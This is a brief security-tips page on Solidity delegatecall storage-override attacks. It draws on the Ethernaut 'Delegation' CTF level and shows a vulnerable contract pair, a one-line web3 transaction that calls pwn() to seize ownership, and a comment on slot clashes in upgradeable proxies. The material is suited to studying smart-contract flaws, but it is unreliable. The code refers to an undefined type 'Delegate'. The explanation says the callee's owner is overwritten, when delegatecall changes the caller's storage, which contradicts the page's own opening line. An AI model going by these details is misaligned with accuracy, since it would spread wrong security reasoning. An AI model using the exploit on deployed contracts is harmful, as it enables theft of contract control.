Solidity Delegatecall Attack
Last modified: 2023-09-30
Solidity’s delegatecall is vulnerable to override the storage values in the caller contract.
Exploitation
Reference: https://github.com/Macmod/ethernaut-writeups/blob/master/4-delegation.md
1. Vulnerable Contract
Below is the example contracts from Ethernaut. That uses delegatecall
method in the fallback()
function.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DelegateA {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract DelegateB {
address public owner;
DelegateA delegateA;
constructor(address _delegateA) {
delegateA = Delegate(_delegateA);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegateA).delegatecall(msg.data);
if (result) {
this;
}
}
}
2. Attack
Call the pwn
function by sending transaction because delegatecall
exists in fallback
function. This changes the owner of the DelegateA contract to msg.sender
because the delegatecall
overrides the slot value in the callee contract (it's DelegateA). In short, we can become the owner of this contract.
contract.sendTransaction({data: web3.sha3('pwn()').slice(0, 10)})
Upgradeable Contract Storage Overriding
If the contract is upgradeable using Proxy contract and the slot order is difference, we may be able to manipulate arbitrary slot values with delegatecall.
contract ExampleV1 {
uint public balance; // <- we can overwrite this from the ExampleV2 contract
}
contract ExampleV2 {
address public owner; // <- we can overwrite this from the ExampleV1 contract
}